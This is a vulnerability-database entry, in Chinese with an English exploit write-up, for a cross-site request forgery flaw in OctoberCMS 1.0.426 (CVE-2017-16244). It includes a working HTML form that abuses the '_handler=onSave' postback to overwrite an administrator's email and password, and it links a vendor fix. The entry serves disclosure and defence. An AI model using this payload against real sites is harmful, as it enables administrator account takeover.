OctoberCMS 跨站请求伪造漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1124401 漏洞类型 跨站请求伪造
发布时间 2017-11-01 更新时间 2020-08-04
CVE编号 CVE-2017-16244 CNNVD-ID CNNVD-201711-010
漏洞平台 PHP CVSS评分 6.8
OctoberCMS是加拿大软件开发者Alexey Bobkov和澳大利亚软件开发者Samuel Georges共同研发的一套开源的、自托管的建立在Laravel PHP框架基础上的内容管理系统(CMS)。 OctoberCMS 1.0.426(又名Build 426)版本中存在跨站请求伪造漏洞,该漏洞源于程序在处理postback时没有正确的验证跨站请求伪造令牌。远程攻击者可借助certain _handler postback变量利用该漏洞绕过保护机制,控制用户账户。
# Exploit Title: OctoberCMS 1.0.426 - CSRF to Admin Account Takover
# Vendor Homepage: https://octobercms.com
# Software Link: https://octobercms.com/download
# Exploit Author: Zain Sabahat
# Website: https://about.me/ZainSabahat
# Category: webapps
# CVE: CVE-2017-16244
1. Description

Cross-Site Request Forgery exists in OctoberCMS 1.0.426 (aka Build 426) due to improper validation of CSRF Tokens for postback handling, allowing an attacker to successfully take over the victim's account.
The vendor was using additional X-CSRF Headers and CSRF Token to prevent the CSRF from occurring.The researcher found a way to bypass this protection.After digging more in the Application he found a postback variable "_handler=" which could be used to perform CSRF without X-Headers.The CSRF Tokens were also not being validated when _handler parameter was used to make the request.
In short, this attack bypasses a protection mechanism involving X-CSRF headers and CSRF tokens via a certain _handler postback variable.


2. Proof of Concept
 Below is the CSRF Exploit (.html) which can lead to the takeover of the Admin's Account upon successful execution.

    <form action="http://host/backend/users/myaccount" method="POST">
      <input type="hidden" name="_handler" value="onSave" />
      <input type="hidden" name="User[login]" value="Admin" />
      <input type="hidden" name="User[email]" value="Hacked@hacked.com" />
      <input type="hidden" name="User[first_name]" value="Admin" />
      <input type="hidden" name="User[last_name]" value="1337" />
      <input type="hidden" name="User[password]" value="YourNewPassword" />
      <input type="hidden" name="User[password_confirmation]" value="YourNewPassword" />
      <input type="hidden" name="redirect" value="0" />
      <input type="submit" value="Submit request" />

Upon execution of this CSRF, the Admin Account details will be replaced by ours leading to complete hijacking of Admin Account.
3. Reference

4. Solution
The vulnerability will be patched by the vendor in the next release of OctoberCMS.Following changes should be made for a temporary fix (https://github.com/octobercms/october/commit/4a6e0e1e0e2c3facebc17e0db38c5b4d4cb05bd0).